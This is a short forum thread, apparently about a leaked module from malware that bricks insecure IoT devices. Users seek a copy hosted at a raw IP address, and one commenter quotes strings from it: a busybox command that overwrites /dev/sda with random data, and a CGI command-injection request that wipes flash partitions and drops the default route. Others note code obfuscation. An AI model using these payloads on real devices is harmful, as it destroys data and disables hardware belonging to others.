> You can download the module which executes the http and telnet-based payloads from this router at http://91.215.104.140/mod_plaintext.py.
Link's not working. Anyone got a copy?
Link's not working. Anyone got a copy?
edit: I would recommend extreme caution with that file. I'm still reading, but strings like this are worrying:
'busybox cat /dev/urandom >/dev/sda &''GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'
I don't think the string is .. worrying on its own given that, you know, this thing is meant to kill IOT/etc devices that are insecure. I'd argue that just given the source (the internet) is enough reason to be wary.
What's up with all the stuff like "if 81 - 81: ..."? Won't that just evaluate to false and never run?